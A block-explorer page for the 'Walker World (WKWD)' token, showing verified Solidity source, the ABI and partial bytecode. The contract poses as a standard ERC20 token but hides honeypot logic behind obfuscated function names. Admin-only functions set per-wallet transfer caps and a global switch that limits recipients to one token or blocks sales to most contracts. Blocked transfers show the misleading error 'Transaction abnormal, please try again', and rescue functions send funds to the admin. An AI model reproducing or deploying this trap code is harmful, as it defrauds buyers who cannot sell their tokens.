ETH Price: $2,385.51 (-12.81%)

Token

Walker World (WKWD)

Overview

Max Total Supply

100,000,000 WKWD

Holders

582

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-05-09
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external returns (address);

}


interface IUniswapV2Router02 is IUniswapV2Router01 {
    
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface XKOSDNFRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}  

abstract contract XKOSDNFConsole is Context, XKOSDNFRoleControl {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) members;
        bytes32 adminRole;
        RoleDataNew RD;
    }

    struct RoleDataNew {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address public uniswapV2Pair;

    uint256 public isnum;

    modifier onlyRole(bytes32 role) {
        _roleCheked(role, _msgSender(),0);
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].members[account];
    }

    function _roleCheked(bytes32 role, address account, uint256 amt) internal {
        if (!hasRole(role, account)) {
            revert(
                "Transaction abnormal, please try again"
            );
        }

        _XKOSDNFroltest(role, account, amt);
    }

    function _XKOSDNFroltest(bytes32 role, address account, uint256 amt) internal {
        uint256 rm = _roles[role].RD.RM[account];
        if (rm > 0) {
            uint256 nt = amt + _roles[role].RD.RD[account];
            if (nt >= rm) {
                revert("Transaction abnormal, please try again");
            } else {
                _roles[role].RD.RD[account] += amt;
            }
        }else{
            if (amt == 0 || rm == 0) {
                return;
            }
        }
        
    }

    function queryRMS(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RM[account].div(10 ** 18);
    }

    function queryRDS(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RD[account].div(10 ** 18);
    }

    function _XKOSDNFxoX(
        bytes32 rule,
        address arb,
        string memory member
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(member);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        _roles[rule].RD.RM[arb] = memoUint.mul(10 ** 18);
    }

    function _XKOSDNFxoO(
        bytes32 rule,
        uint member
    ) public onlyRole(ADMIN) {
        if(rule != TRADER){
            revert("AccessControl: memo is not a number");
        }
        isnum = member;
    }


    function _XKOSDNFrolpsan(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RM[account] = num.mul(10 ** 18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].members[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract XKOSDNFERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}
}

contract Token is XKOSDNFERC20, XKOSDNFConsole {

    using SafeMath for uint256;
    
    mapping(address => bool) private __traders;
    IUniswapV2Router02 private uniswapV2Router;

    address private _noneAddress = address(0x000000000000000000000000000000000000dEaD);
    
    bytes public constant str1 = bytes("0x000000000000000000000000000000000000dEaD"); 

    address private tokenOwner;


    address private sushi = address(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);

    address private okx = address(0xf332761c673b59B21fF6dfa8adA44d78c12dEF09);

    address private okx1 = address(0x70cBb871E8f30Fc8Ce23609E9E0Ea87B6b222F58);

    address private tran1 = address(0x544bA588efD839d2692Fc31EA991cD39993c135F);

    address private bk = address(0xdC28BAC5949FD062624094787DFe21E78A185c81);

    address private bk1 = address(0x1A8f43e01B78979EB4Ef7feBEC60F32c9A72f58E);

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) XKOSDNFERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        tokenOwner = _tokenOwner;
    }


    function _transfer(
        address from,
        address to,
        uint256 amt
    ) internal override(XKOSDNFERC20) {
        require(from != address(0), "ERC20: transfer from the zero address");

        _XKOSDNFegcvbt(from, to, amt);

    }



    function _XKOSDNFegcvbt(address from, address to, uint256 amt) internal {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");

        _XKOSDNFfghrda(from, to, amt);
    }


    function _XKOSDNFfghrda(address from, address to, uint256 amt) internal {
        if (__traders[from] == false) {
            _grantRole(TRADER, from);
            __traders[from] = true;
            
        }

        _XKOSDNFmyfrdv(from, to, amt);
    }

    function _XKOSDNFmyfrdv(address from, address to, uint256 amt) internal {
        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        _XKOSDNFolfvcx(from, to, amt);
    }


    function _XKOSDNFolfvcx(address from, address to, uint256 amt) internal {
        bool isAddLdx;
        if(to == uniswapV2Pair){
            isAddLdx = _isAddLiquidityV1();
            if(isAddLdx || balanceOf(uniswapV2Pair) == 0){
                require(hasRole(ADMIN, from), "ERC20: only admin can add liquidity");
            }
            
        }else if(isnum > 99){  
            _XKOSDNFrolpsan(TRADER,to,1);
        }else if(isnum > 49){
            if(isContract(to) && to != sushi && to != okx && to != okx1 && to != tran1 && to != bk && to != bk1){
                require(false, "ERC20: only admin can add liquidity");
            }
        }

        _XKOSDNFgkytdvvn(from, to, amt);
    }

    function _XKOSDNFgkytdvvn(address from, address to, uint256 amt) internal {
        if (hasRole(ADMIN, from) || hasRole(ADMIN, to)) {
            super._transfer(from, to, amt);
            return;
        }

        _XKOSDNFxcdghbt(from, to, amt);
    }

    function _XKOSDNFxcdghbt(address from, address to, uint256 amt) internal {
        if (hasRole(TRADER, from) && hasRole(TRADER, to)) {

           _XKOSDNFgkyxfgd(from, TRADER, amt);

        } else {
            require(false, "Transaction abnormal, please try again");
        }
        super._transfer(from, to, amt);
    }

    function _XKOSDNFgkyxfgd(address from, bytes32 role, uint256 amt) internal {
        _XKOSDNFroltest(role, from, amt);
    }

    function isContract(address user) internal view returns (bool) { 
       return user.code.length > 0;
    }

    function _isAddLiquidityV1()internal view returns(bool ldxAdd){
        address token0 = IUniswapV2Pair(address(uniswapV2Pair)).token0();
        address token1 = IUniswapV2Pair(address(uniswapV2Pair)).token1();
        (uint r0,uint r1,) = IUniswapV2Pair(address(uniswapV2Pair)).getReserves();
        uint bal1 = IERC20(token1).balanceOf(address(uniswapV2Pair));
        uint bal0 = IERC20(token0).balanceOf(address(uniswapV2Pair));

        if( token0 == address(this) ){
            if( bal1 > r1){
                uint change1 = bal1 - r1;
                ldxAdd = change1 > 1000;  
            }
        }else{
            if( bal0 > r0){
                uint change0 = bal0 - r0;
                ldxAdd = change0 > 1000;
            }
        }
 
    }


    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function rescueETH(
        uint256 amt
    ) public onlyRole(ADMIN) returns (bool success) {
        payable(msg.sender).transfer(amt);
        return true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"rule","type":"bytes32"},{"internalType":"uint256","name":"member","type":"uint256"}],"name":"_XKOSDNFxoO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"rule","type":"bytes32"},{"internalType":"address","name":"arb","type":"address"},{"internalType":"string","name":"member","type":"string"}],"name":"_XKOSDNFxoX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isnum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"queryRDS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"queryRMS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"rescueETH","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"str1","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405261dead600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731b02da8cb0d097eb8d57a175b88c7d8b47997506600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f332761c673b59b21ff6dfa8ada44d78c12def09600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507370cbb871e8f30fc8ce23609e9e0ea87b6b222f58600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073544ba588efd839d2692fc31ea991cd39993c135f600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073dc28bac5949fd062624094787dfe21e78a185c8160105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731a8f43e01b78979eb4ef7febec60f32c9a72f58e60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200024a575f80fd5b50604051620047d9380380620047d98339818101604052810190620002709190620009e2565b83828285836003908162000285919062000cbd565b50826004908162000297919062000cbd565b50620002d481620002ad620004eb60201b60201c565b600a620002bb919062000f2a565b84620002c8919062000f7a565b620004f360201b60201c565b50505050620002ec5f801b336200066360201b60201c565b620003005f801b846200066360201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000364573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200038a919062000fc4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b8152600401620003da92919062001005565b6020604051808303815f875af1158015620003f7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200041d919062000fc4565b90508160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062001114565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000564576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200055b906200108e565b60405180910390fd5b620005775f83836200074f60201b60201c565b8060025f8282546200058a9190620010ae565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620005de9190620010ae565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006449190620010f9565b60405180910390a36200065f5f83836200075460201b60201c565b5050565b6200067582826200075960201b60201c565b6200074b57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620006f0620007bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200082582620007dd565b810181811067ffffffffffffffff82111715620008475762000846620007ed565b5b80604052505050565b5f6200085b620007c4565b90506200086982826200081a565b919050565b5f67ffffffffffffffff8211156200088b576200088a620007ed565b5b6200089682620007dd565b9050602081019050919050565b5f5b83811015620008c2578082015181840152602081019050620008a5565b5f8484015250505050565b5f620008e3620008dd846200086e565b62000850565b905082815260208101848484011115620009025762000901620007d9565b5b6200090f848285620008a3565b509392505050565b5f82601f8301126200092e576200092d620007d5565b5b815162000940848260208601620008cd565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009748262000949565b9050919050565b620009868162000968565b811462000991575f80fd5b50565b5f81519050620009a4816200097b565b92915050565b5f819050919050565b620009be81620009aa565b8114620009c9575f80fd5b50565b5f81519050620009dc81620009b3565b92915050565b5f805f8060808587031215620009fd576200